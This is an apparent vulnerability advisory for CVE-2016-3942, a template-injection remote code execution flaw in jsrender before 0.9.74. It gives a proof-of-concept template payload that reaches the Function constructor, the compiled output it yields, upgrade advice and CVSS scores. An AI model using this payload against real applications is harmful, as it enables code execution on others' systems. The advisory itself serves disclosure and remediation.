CVE-2016-3942
Template Injection in jsrender
Description
Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input. ## Proof of Concept ```js //POC-REQUEST {{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}} {{:#data}} {{/for}} ``` ```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } ``` ## Recommendation Update to version 0.9.74 or later.
How to fix CVE-2016-3942
To remediate CVE-2016-3942, upgrade the affected package to a fixed version below.
- —upgrade to 0.9.74 or later
Is CVE-2016-3942 being exploited?
No exploitation signal available. Neither CISA KEV nor a current EPSS score has been published for CVE-2016-3942.
Affected packages (1)
- from 0, < 0.9.74
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.3 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |